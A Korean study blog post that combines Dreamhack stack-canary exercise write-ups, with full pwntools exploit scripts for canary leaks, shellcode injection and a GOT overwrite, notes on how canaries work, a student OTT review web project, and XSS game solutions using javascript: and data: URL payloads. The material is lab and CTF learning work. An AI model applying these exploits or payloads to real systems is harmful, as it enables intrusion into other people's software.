[함께실습] Stack Canary - Exploit Tech: Return to Shellcode

// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack
#include <stdio.h>
#include <unistd.h>
int main() {
  char buf[0x50];
  printf("Address of the buf: %p\n", buf);
  printf("Distance between buf and $rbp: %ld\n",
         (char*)__builtin_frame_address(0) - buf);
  printf("[1] Leak the canary\n");
  printf("Input: ");
  fflush(stdout);
  read(0, buf, 0x100);
  printf("Your input is '%s'\n", buf);
  puts("[2] Overwrite the return address");
  printf("Input: ");
  fflush(stdout);
  gets(buf);
  return 0;
}

 

분석

▶ 보호기법 탐지

보호기법을 파악할 때 주로 사용하는 툴이 checksec이다. 이를 사용하면 간단한 커맨드 하나로 바이너리에 적용된 보호기법들을 파악할 수 있다.

checksec을 통해 파악할 수 있는 보호기법은 RELRO, Canary, NX, PIE가 있다.

 

▶ 취약점 탐색

1. buf의 주소

printf("Address of the buf: %p\n", buf);
printf("Distance between buf and $rbp: %ld\n", (char*)__builtin_frame_address(0) - buf);

이 예제에서는 실습의 편의를 위해 buf의 주소 및 rbp와 buf 사이의 주소 차이를 알려준다.

 

2. 스택 버퍼 오버플로우

char buf[0x50];
read(0, buf, 0x100);   // 0x50 < 0x100
gets(buf);             // Unsafe function

스택 버퍼인 buf에 총 두번 입력을 받는다. 그런데 두 입력 모두에서 오버플로우가 발생한다. 이 취약점을 이용해 셸을 획득해야 한다.

 

▶ 익스플로잇 시나리오

1. 카나리 우회

read(0, buf, 0x100);                  // Fill buf until it meets canary
printf("Your input is '%s'\n", buf);

두 번째 입력으로 반환 주소를 덮을 수 있지만, 카나리가 조작되면 __stack_chk_fail 함수에 의해 프로그램이 강제 종료된다. 그러므로 첫 번째 입력에서 카나리를 먼저 구하고, 이를 두 번째 입력에 사용해야 한다.

첫 번째 입력의 바로 뒤에서 buf를 문자열로 출력해주기 때문에, buf에 적절한 오버플로우를 발생시키면 카나리 값을 구할 수 있을 것이다.

 

2. 셸 획득

카나리를 구했으면, 두 번째 입력으로 반환 주소를 덮을 수 있다. 그런데 이 바이너리에는 셸을 획득해주는 get_shell() 같은 함수가 없다. 따라서 셸을 획득하는 코드를 직접 주입하고, 해당 주소로 실행 흐름을 옮겨야 한다. 주소를 알고 있는 buf에 셸코드를 주입하고, 해당 주소로 실행 흐름을 옮기면 셸을 획득할 수 있을 것이다.

 

익스플로잇

▶ 스택 프레임 정보 수집

스택을 이용하여 공격할 것이므로, 스택 프레임의 구조를 먼저 파악해야 한다. 이 예제에서는 스택 프레임에서의 buf 위치를 보여주므로, 이를 적절히 파싱할 수만 있으면 된다.

process, recv, recvuntil, recvn, recvline 등의 함수를 사용해서 구현할 수 있다. 

from pwn import *
def slog(n, m): return success(": ".join([n, hex(m)]))
p = process("./r2s")
context.arch = "amd64"
# [1] Get information about buf
p.recvuntil("buf: ")
buf = int(p.recvline()[:-1], 16)
slog("Address of buf", buf)
p.recvuntil("$rbp: ")
buf2sfp = int(p.recvline().split()[0])
buf2cnry = buf2sfp - 8
slog("buf <=> sfp", buf2sfp)
slog("buf <=> canary", buf2cnry)

로컬 바이너리 'r2s'를 대상으로 익스플로잇을 수행하고 x86-64 아키텍처로 지정하였다.

p.recvuntil을 이용해 buf: 뒤부터 입력받도록하며 buf는 16진수로 받아 int로 저장한다.

그리고 Address of buf : buf값의 형태로 출력하도록 한다.

또, p.recvuntil을 이용해 $rbp: 뒤부터 입력받도록 하며 buf2sfp에 p.recvline을 이용해 \n까지 받은 뒤 다음줄로 이동한다.  그리고 buf2sfp에서 8뺀 값을 buf2cnry에 저장해주고 이 둘을 출력한다.

 

이 코드를 실행했더니 다음과 같이 나왔다.

 

▶ 카나리 릭

스택 프레임에 대한 정보를 수집했으므로, 이를 활용하여 카나리를 구해야한다. buf와 카나리 사이를 임의의 값으로 채우면, 프로그램에서 buf를 출력할 때 카나리가 같이 출력될 것이다. 앞에서 구한 스택 프레임의 구조를 고려하여, 카나리를 구하도록 스크립트를 추가해보자.

# [2] Leak canary value
payload = b"A"*(buf2cnry + 1)  # (+1) because of the first null-byte
p.sendafter("Input:", payload)
p.recvuntil(payload)
cnry = u64(b"\x00"+p.recvn(7))
slog("Canary", cnry)

buf2cnry + 1만큼의 "A"를 payload에 저장하고 sendafter을 이용해 Input: 가 출력되면 payload를 입력받도록 한다. p.recvuntil로 payload가 출력될 때까지 받는다. p.recv을 이용해 7바이트의 데이터를 입력받아 \x00과 더해주고 이를 출력한다.

 

▶ 익스플로잇

카나리를 구했으므로, 이제 buf에 셸코드를 주입하고, 카나리를 구한 값으로 덮은 뒤, 반환 주소(RET)를 buf로 덮으면 셸코드가 실행되게할 수 있다. context.arch, shellcraft, asm을 이용하면 스크립트를 쉽게 추가할 수 있다. 

# [3] Exploit
sh = asm(shellcraft.sh())
payload = sh.ljust(buf2cnry, b"A") + p64(cnry) + b"B"*0x8 + p64(buf)
# gets() receives input until "\n" is received
p.sendlineafter("Input:", payload)
p.interactive()

sh에 셸 코드를 기계어로 어셈블해준다.

payload에 셸코드 뒤 b"A"를 buf2cnry개를 적고, cnry, b"B" 0x8개, buf를 저장해준다.

p.sendlineafter을 이용해 Input: 뒤에 payload와 \n을 입력해주고 p.interactive로 출력을 확인한다.

 

결과는 다음과 같다.

이 코드에서 p = remote("host1.dreamhack.games",14211)만 추가해주고 cat flag를 해주었더니 flag가 나왔다.

 

[혼자실습] Stack Canary

ssp_000

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>


void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {
    long addr;
    long value;
    char buf[0x40] = {};

    initialize();


    read(0, buf, 0x80);

    printf("Addr : ");
    scanf("%ld", &addr);
    printf("Value : ");
    scanf("%ld", &value);

    *(long *)addr = value;

    return 0;
}

main함수를 살펴보자.

addr, value라는 변수와 buf라는 0x40 크기의 배열이 있다.  initialize 함수를 호출하고 있으며 addr과 value를 입력받고 있다. value 값을 addr 포인터에 저장해준다. 여기서 유의할 점은 buf는 0x40의 크기를 가지고 있지만 0x80 크기의 buf를 읽기 때문에 버퍼 오버플로우가 생길 가능성이 있다는 점이다.

 

다음은 main을 디스어셈블한 결과이다.

마지막 부분을 보면 xor 과정을 통해 카나리 값이 바뀌면  __stack_chk_fail 함수가 호출된다는 것을 알 수 있다. 

 

from pwn import *

p = remote("host1.dreamhack.games", 18857)
elf=ELF("./ssp_000")

p.send('A'*0x50)
p.sendlineafter("Addr : ", str(elf.got['__stack_chk_fail'])) 
p.sendlineafter("Value : ", str(elf.symbols['get_shell'])) 
p.interactive()
ELF (Executable and Linking Format)
: 실행 가능한 바이너리, 오브젝트 파일의 형식을 규정한 파일
- PLT : 외부 프로시저를 연결해주는 테이블
- GOT : PLT가 참조하는 테이블, 프로시저들의 주소가 들어있음, PLT가 어떤 외부 프로시저를 호출할 때 GOT를 참조하여 해당 주소로 점프함

ELF를 통해 파일을 열고 A를 0x50만큼 보내 오버플로우를 발생시키도록 하였다. 이 과정을 통해 카나리 값이 바뀌고 __stack_chk_fail 함수가 호출된다. __stack_chk_fail에 got를 주고 get_shell 주소를 주어 종료되면 get_shell이 실행되어 셸을 구할 수 있다.

 

 

ssp_001

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}
int main(int argc, char *argv[]) {
    unsigned char box[0x40] = {};
    char name[0x40] = {};
    char select[2] = {};
    int idx = 0, name_len = 0;
    initialize();
    while(1) {
        menu();
        read(0, select, 2);
        switch( select[0] ) {
            case 'F':
                printf("box input : ");
                read(0, box, sizeof(box));
                break;
            case 'P':
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx);
                break;
            case 'E':
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;
            default:
                break;
        }
    }
}

F의 경우, box를 읽어들인다.

P의 경우, idx를 입력받고 print_box함수를 호출한다. 이 함수에서 idx가 box의 크기보다 클 경우 canary leak이 가능하다.

E의 경우, name_len을 입력받고 name을 그만큼 읽어들인다. name은 0x40크기로 정해져 있으므로 오버플로우의 가능성이 있다.

 

main을 디스어셈블한 결과이다.

 

main+179(read)에 break를 걸어주고 esp를 확인해본 결과 다음과 같다.

box가 0xffffd074부터 들어갔으므로 0xffffd080

 

main+308 (read)에 break를 걸어주고 Name Size에 8, Name에 AAAAAAAA를 넣어준 결과이다.

 

idx가 128, 129, 130, 131일 때 다음과 같다.

 

from pwn import *
p = remote("host1.dreamhack.games", 10724)
elf=ELF("./ssp_001")
get_shell=elf.symbols['get_shell']

canary=b""

for i in range(4, 0, -1):
	p.sendlineafter("> ", "P")
	p.sendlineafter("index : ", str(127+i))
	p.recvuntil(": ")
	canary += p.recvuntil(b"\n")[0:2]
	
canary=int(canary,16)

p.sendlineafter("> ", "E")
pay = b"A"*64 + p32(canary) + b"A"*8 + p32(get_shell)
p.sendlineafter("Size : ", str(len(pay)))
p.sendlineafter("Name : ", pay)

p.interactive()

print_box에서 idx 값을 128~131로 주어 카나리 값을 구하였다.

pay에 name에 해당하는 b"A"*64, canary에 해당하는 p32(canary), sfp와 edi에 해당하는 b"A"*8, ret에 해당하는 p32(get_shell)을 넣어주었다.

 

https://jini00.tistory.com/123

4주차 내용은 위의 내용을 참고하면 된다.

 

https://github.com/jini-coding/ott_review_project

[ DB ]

contents_review라는 DB를 생성하였다.

 

id는 자동으로 1씩 증가시켜 중복되지 않는 식별자를 갖도록 하였다.

title, ott, category는 공백을 허용하지 않도록 하였고 score은 총 5점 만점으로 매길 수 있도록 하려고 한다.

comments는 공백을 허용하며 작성 시간도 나타나도록 하였다.

 

INSERT INTO contents(title, ott, category, score, comments, created) VALUES('오징어 게임', 'netflix', '영화', '5', 
'잔인함 속에 가려진 인간의 추악한 면, 그리고 다양성', NOW());

위와 같은 코드를 작성하여 밑에와 같은 데이터를 넣었다.

이는 나중에 웹페이지를 통해 작성받아 DB에 저장받도록 할 예정이다.

 

 

[ 메인 페이지 ]

 

메인페이지 코드는 다음과 같다. 

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <style>
      h1{
        text-align: center;
        padding: 35px;
        color :#A50000;
        border-bottom:1px solid black;
        font-size: 5em;
        font-family : sans-serif;
      }
      img{
        box-shadow : 5px 5px 5px #BDBDBD;
        border-radius : 30px;
      }
      body{
        background-color:#FFD8D8;
        height : 2000px;
      }
      nav, section{
        display : flex;
        justify-content: center;
      }
      nav a{
        text-decoration: none;
        color : black;
        margin : 2em;
      }
      #underline{
        position : absolute;
        width:0;
        background-color: black;
        top:340px;
        left:0;
        height:4px;
        transition:0.5s;
      }
    </style>
    <title></title>
  </head>
  <body>
    <h1>OTT별 콘텐츠 추천</h1>
    <nav>
      <div id="underline"></div>
      <a href="About.php">About</a>
      <a href="Board.php">Board</a>
      <a href="Search.php">Search</a>
    </nav>
    <script>
      let under = document.getElementById("underline");
      let menu = document.querySelectorAll("nav a");
      menu.forEach((menu)=>
        menu.addEventListener("mouseover",(e)=>indicator(e))
      );
      function indicator(e){
        under.style.left=e.currentTarget.offsetLeft+"px";
        under.style.width=e.currentTarget.offsetWidth+"px";
        under.style.top=
           e.currentTarget.offsetTop+e.currentTarget.offsetheight+"px";
      }
    </script>
    <section>
      <a href="netflix.php"><img class="netflix_icon" src="netflix_img.PNG"></a>
      <a href="tving.php"><img class="tving_icon" src="tving_img.PNG"></a>
      <a href="watcha.php"><img class="watcha_icon" src="watcha_img.PNG"></a>
      <a href="disney.php"><img class="disney_icon" src="disney+_img.PNG"></a>
  </section>
  </body>
</html>

 

저번주와 크게 달라진 부분

  1. About, Board, Search 버튼
  2. 버튼 아래의 underline 
<nav>
  <div id="underline"></div>
  <a href="About.php">About</a>
  <a href="Board.php">Board</a>
  <a href="Search.php">Search</a>
</nav>

<script>
  let under = document.getElementById("underline");
  let menu = document.querySelectorAll("nav a");
  menu.forEach((menu)=>menu.addEventListener("mouseover",(e)=>indicator(e)));
  
  function indicator(e){
    under.style.left=e.currentTarget.offsetLeft+"px";
    under.style.width=e.currentTarget.offsetWidth+"px";
    under.style.top=e.currentTarget.offsetTop+e.currentTarget.offsetheight+"px";
  }
</script>

a태그로 각 버튼에 알맞는 페이지를 연결시켰다. 이를 nav태그로 한번에 감싸주었다. 이렇게 각자 버튼을 만들었다.

여기서 각 버튼에 마우스를 가져갔을 때 밑에 밑줄을 생기도록 하고 싶었다. 그래서 자바스크립트를 이용해주었다.

 

먼저 underline과 nav a태그인 메뉴들을 가져와주었고 각 메뉴에다가 mouseover이벤트가 일어날때마다 indicator 함수를 실행하도록 하였다. 그리고 addEventListener을 통해 자동으로 event(e)를 넘겨주었다. 이 event 안에 뭘 선택했는지가 나오게 된다.

 

indicator함수에서는 인자를 e로 받아왔다. 

div태그를 직사각형으로 보았을 때 아래쪽 변은 offsetWidth, 높이는 offsetheight, 위쪽 변과 상단 브라우저의 높이 차이는 offsetTop, 왼쪽 변과 좌측 브라우저의 간격 길이는 offsetLeft이다. 

underline을 그리는 시작점은 (offsetLeft, offsetTop+offsetheight)이다. 

따라서 left시작값인 x좌표는 offsetleft, width는 해당 메뉴(직사각형)의 너비만큼만 그려주면 되므로 offsetWidth, y좌표는 offsetTop+offsetheight로 지정해주었다.

 

<style>
  nav, section{
    display : flex;
    justify-content: center;
  }
  nav a{
    text-decoration: none;
    color : black;
    margin : 2em;
  }
  #underline{
    position : absolute;
    width:0;
    background-color: black;
    top:340px;
    left:0;
    height:4px;
    transition:0.5s;
  }
</style>

 

nav와 section부분의 위치를 가운데로 flex속성을 이용해 지정해주었다.

nav 중 a태그에 밑줄을 없애고 color과 margin을 지정해주었다.

그리고 div태그의 id인 underline에 위치, 색상 등을 지정해주며 transition을 이용해 underline이 더욱 부드럽게 이동하는 것처럼 보이도록 해주었다.

 

 

[ 세부 페이지 ]

각 페이지는 동일한 형태를 가지므로 NETFLIX페이지만 설명하도록 하겠다.

<div id="board"><h3>리뷰 작성</h3>
    <form action="create.php" method="POST">
      <p>제목 : <select name="title" required>
           <option value="none" selected disabled>==선택==</option>
           <option value="1">제목1</option>
           <option value="2">제목2</option>
           <option value="3">제목3</option>
         </select></p>
      <p>OTT : <select name="ott" required>
           <option value="none" selected disabled>==선택==</option>
           <option value="netflix">Netflix</option>
           <option value="watcha">Watcha</option>
           <option value="tving">Tving</option>
           <option value="disney+">Disney+</option>
         </select>
         &nbsp; &nbsp;
         카테고리 : <select name="category" required>
           <option value="none" selected disabled>==선택==</option>
           <option value="movie">영화</option>
           <option value="drama">드라마</option>
           <option value="entertain">예능</option>
         </select></p>

      <p>별점 :  (구현예정)</p>
      <p>내용 : <textarea name="review" rows="10" cols="50" placeholder="내용을 입력해주세요"></textarea></p>
      <p style="padding-left:440px;"><input type="submit" value="작성" style=""></p></div>

이번주에는 리뷰 작성 페이지에 OTT와 카테고리를 선택하는 부분을 추가했다. 둘 다 제목 선택하는 것과 마찬가지로 select로 내용을 입력받도록 했다. 무조건 입력해야 하는 내용이므로 required 속성을 적용했고 초기의 상태인 ==선택== 은 disabled를 이용해 선택이 불가능하도록 설정했다. 나머지 다른 선택지들은 각각의 내용에 따라 적당한 value 값을 설정하여 구분하도록 하였다.

 

[ STACK CANARY ]

 

Mitigation: Stack Canary

▶ 스택 카나리(Stack Canary)

: 함수의 프롤로그에서 스택 버퍼와 반환 주소 사이에 임의의 값을 삽입하고, 함수의 에필로그에서 해당 값의 변조를 확인하는 보호 기법

- 카나리 값의 변조가 확인되면 프로세스는 강제로 종료된다.

- 스택 버퍼 오버플로우로 반환 주소를 덮으려면 반드시 카나리를 먼저 덮어야 함 → 카나리 값을 모르는 공격자는 반환 주소를 덮을 때 카나리 값을 변조 → 에필로그에서 변조가 확인되어 공격자는 실행 흐름을 획득하지 못함

 

 

카나리의 작동 원리

▶ 카나리 정적 분석

#include <unistd.h>
int main() {
  char buf[8];
  read(0, buf, 32);
  return 0;
}

위 코드에는 스택 버퍼 오버플로우 취약점이 존재한다.

 

- 카나리 비활성화

Ubuntu 18.04의 gcc는 기본적으로 스택 카나리를 적용하여 바이너리를 컴파일한다.

컴파일 옵션으로 -fno-stack-protector옵션을 추가해야 카나리 없이 컴파일할 수 있다.

이를 컴파일하고 길이가 긴 입력을 주면 반환 주소가 덮여서 Segmentation fault가 발생한다.

 

- 카나리 활성화

카나리를 적용하여 다시 컴파일하고, 긴 입력을 주면 위의 경우와 다르게 stack smashing detected와 Aborted라는 에러가 발생한다. 이는 스택 버퍼 오버플로우가 탐지되어 프로세스가 강제 종료되었음을 의미한다.

 

다음은 no_canary와 디스어셈블한 코드를 비교한 결과이다.

 

▶ 카나리 동적 분석

- 카나리 저장

main+8 → fs:0x28의 데이터를 읽어서 rax에 저장한다. fs는 세그먼트 레지스터의 일종으로, 리눅스는 프로세스가 시작될 때 fs:0x28에 랜덤 값을 저장한다. 따라서 main+8의 결과로 rax에는 리눅스가 생성한 랜덤 값이 저장된다.

 

rax에 첫 바이트가 널 바이트인 8바이트 데이터가 저장되어 있다.

 

생성한 랜덤값은 main+17에서 rbp-0x8에 저장된다.

 

fs

cs, ds, es는 CPU가 사용 목적을 명시한 레지스터인 반면, fs와 gs는 목적이 정해지지 않아 운영체제가 임의로 사용할 수 있는 레지스터이다. 리눅스는 fs를 Thread Local Storage(TLS)를 가리키는 포인터로 사용한다. 여기서는 TLS에 카나리를 비롯하여 프로세스 실행에 필요한 여러 데이터가 저장된다.

 

- 카나리 검사

main+50 → rbp-8에 저장한 카나리를 rcx로 옮긴다. 그 뒤, main+54에서 rcx를 fs:0x28에 저장된 카나리와 xor한다. 두 값이 동일하면 연산 결과가 0이되면서 je의 조건을 만족하게 되고, main함수는 정상적으로 반환된다. 그러나 두 값이 동일하지 않으면 __stack_chk_fail이 호출되면서 프로그램이 강제로 종료된다.

16개의 H를 입력하여 카나리를 변조하고 실행 흐름을 살펴보자

 

코드를 한 줄 실행시키면 rbp-ax8에 저장된 카나리 값이 버퍼 오버플로우로 인해 "0x4848484848484848"이 되었다.

 

main+54의 연산 결과가 0이 아니므로 main+63에서 main+70으로 분기하지 않고 main+65 __stack_chk_fail을 실행하게 된다. 그 함수가 실행되면 아래와 같은 메세지와 함께 프로세스가 강제 종료된다.

 

카나리의 생성 과정

▶ 카나리 생성 과정

카나리 값은 프로세스가 시작될 때, TLS에 전역 변수로 저장되고, 각 함수마다 프롤로그와 에필로그에서 이 값을 참조한다. 

 

- TLS의 주소 파악

fs는 TLS를 가리키므로 fs의 값을 알면 TLS의 주소를 알 수 있다. 그러나 리눅스에서 fs의 값은 특정 시스템 콜을 사용해야만 조회하거나 설정할 수 있다. fs의 값을 설정할 때 호출되는 arch_prctl(int code, unsigned long addr) 시스템 콜에 중단점을 설정하여 fs가 어떤 값으로 설정되는지 살펴보자. 이 시스템 콜을 arch_prctl(ARCH_SET_FS, addr)의 형태로 호출하면 fs의 값은 addr로 설정된다.

gdb에는 특정 이벤트가 발생했을 때, 프로세스를 중지시키는 catch라는 명령어가 있다. 이 명령어로 arch_prctl에 catchpoint를 설정하고 실습에 사용했던 canary를 실행해보자.

catchpoint에 도달했을 때, rdi의 값이 0x1002인데 이는 ARCH_SET_FS의 상숫값이다. rsi의 값이 0x7ffff7fe34c0이므로, 이 프로세스는 TLS를 0x7ffff7fe34c0에 저장할 것이며, fs는 이를 가리키게 될 것아다.

카나리가 저장될 fs+0x28(0x7ffff7fe34c0+0x28)의 값을 보면, 아직 어떠한 값도 설정되어 있지 않은 것을 확인할 수 있다.

 

- 카나리 값 설정

TLS의 주소를 알았으므로, gdb의 watch 명령어로 TLS+0x28에 값을 쓸 때 프로세스를 중단시켜보자.

watch : 특정 주소에 저장된 값이 변경되면 프로세스를 중단시키는 명령어

watchpoint 를 설정하고 프로세스를 계속 진행하면 security_init함수에서 프로세스가 멈추고 TLS + 0x28의 값을 조회하면 다음과 같은 값이 카나리로 설정되었음을 알 수 있다.

 

 

카나리 우회

▶ 카나리 우회

 

- 무차별 대입

x64 아키텍처에서는 8바이트의 카나리가 생성되며, x86 아키텍처에서는 4바이트의 카나리가 생성된다. 각각의 카나리에는 NULL 바이트가 포함되어 있으므로, 실제로는 7바이트와 3바이트의 랜덤한 값이 포함된다.

즉, 무차별 대입으로 x64 아키텍처의 카나리 값을 알아내려면 최대 256^7번, x86 에서는 최대 256^3 번의 연산이 필요하다. 연산량이 많아서 x64 아키텍처의 카나리는 무차별 대입으로 알아내는 것 자체가 현실적으로 어려우며, x86 아키텍처는 구할 순 있지만, 실제 서버를 대상으로 저정도 횟수의 무차별 대입을 시도하는 것은 불가능하다.

 

- TLS 접근

카나리는 TLS에 전역변수로 저장되며, 매 함수마다 이를 참조해서 사용한다. TLS의 주소는 매 실행마다 바뀌지만 만약 실행중에 TLS의 주소를 알 수 있고, 임의 주소에 대한 읽기 또는 쓰기가 가능하다면 TLS에 설정된 카나리 값을 읽거나, 이를 임의의 값으로 조작할 수 있다.

그 뒤, 스택 버퍼 오버플로우를 수행할 때 알아낸 카나리 값 또는 조작한 카나리 값으로 스택 카나리를 덮으면 함수의 에필로그에 있는 카나리 검사를 우회할 수 있다.

 

- 스택 카나리 릭

스택 카나리를 읽을 수 있는 취약점이 있으면 이를 이용해 카나리 검사를 우회할 수 있다.

 

Level 05

 

Sign up을 눌러보았다.

url에 /signup?next=confirm이 추가된 것을 확인할 수 있었다.

이는 GET방식으로 데이터를 보내는 것이다.

GET 방식
: 클라이언트의 데이터를 URL 뒤에 붙여보내는 방식

- ?를 통해 URL의 끝임을 알려주며, 동시에 데이터 표현의 시작점임을 알 수 있다.
- URL에 데이터가 노출되어 보안에 취약하다.

 

Next를 눌러보았다.

url 뒷부분이 confirm으로 바뀌었고 몇초 후에 다시 원래 페이지로 돌아간다.

 

 

<a href="{{ next }}">Next >></a>

이 a 태그를 통해 Next를 누르면 next url로 넘어간다.

그럼 Next를 누를 때 원래의 next 페이지가 아닌 다른 페이지로 넘어가도록 하면 될 것이다.

 

힌트 4에서 이러한 코드를 발견할 수 있었다.

따라서 ?next=javascript:alert(); 라고 입력해주었다.

Go를 누르고 Next까지 눌렀더니 다음단계로 넘어갈 수 있었다.

 


Level 06

 문제에 있는 XMLHttpRequest에 대해 찾아보았다.

XMLHttpRequest
:  서버와 통신을 하려면 서버에 데이터를 요청하고 결과를 받아와야 하는데 이때 서버와 주고받는 데이터를 쉽게 다룰 수 있는 방법

<사용법>
1. XMLHttpRequest 객체 생성
2. onreadystatechange에 함수 설정
3. open()함수 통해 요청 초기화
4. send()함수 통해 요청

 

이처럼 url #뒤의 문자를 조작하면 아래 Loaded gadget from 뒤의 문자도 바뀌게 된다.

 

<!doctype html>
<html>
  <head>
    <!-- Internal game scripts/styles, mostly boring stuff -->
    <script src="/static/game-frame.js"></script>
    <link rel="stylesheet" href="/static/game-frame-styles.css" />
 
    <script>
    function setInnerText(element, value) {
      if (element.innerText) {
        element.innerText = value;
      } else {
        element.textContent = value;
      }
    }
 
    function includeGadget(url) {
      var scriptEl = document.createElement('script');
 
      // This will totally prevent us from loading evil URLs!
      if (url.match(/^https?:\/\//)) {
        setInnerText(document.getElementById("log"),
          "Sorry, cannot load a URL containing \"http\".");
        return;
      }
 
      // Load this awesome gadget
      scriptEl.src = url;
 
      // Show log messages
      scriptEl.onload = function() { 
        setInnerText(document.getElementById("log"),  
          "Loaded gadget from " + url);
      }
      scriptEl.onerror = function() { 
        setInnerText(document.getElementById("log"),  
          "Couldn't load gadget from " + url);
      }
 
      document.head.appendChild(scriptEl);
    }
 
    // Take the value after # and use it as the gadget filename.
    function getGadgetName() { 
      return window.location.hash.substr(1) || "/static/gadget.js";
    }
 
    includeGadget(getGadgetName());
 
    // Extra code so that we can communicate with the parent page
    window.addEventListener("message", function(event){
      if (event.source == parent) {
        includeGadget(getGadgetName());
      }
    }, false);
 
    </script>
  </head>
 
  <body id="level6">
    <img src="/static/logos/level6.png">
    <img id="cube" src="/static/level6_cube.png">
    <div id="log">Loading gadget...</div>
  </body>
</html>

코드에서 볼 수 있듯이 https가 url에 존재하는지 여부만 판단하고 있다. http://가 포함되면 로드가 되지 않는다.

 

찾아보니 Data URL Scheme 방법이 있다고 한다.

Data URL Scheme
data:[자료타입],[데이터] 방식으로 데이터를 URL형태로 표현

이 문제에서는 data:javascript,alert(); 라고 입력하면 될 것 같아 url에 # 뒷부분에 추가해주었다.

 

그랬더니 성공했다.

+ Recent posts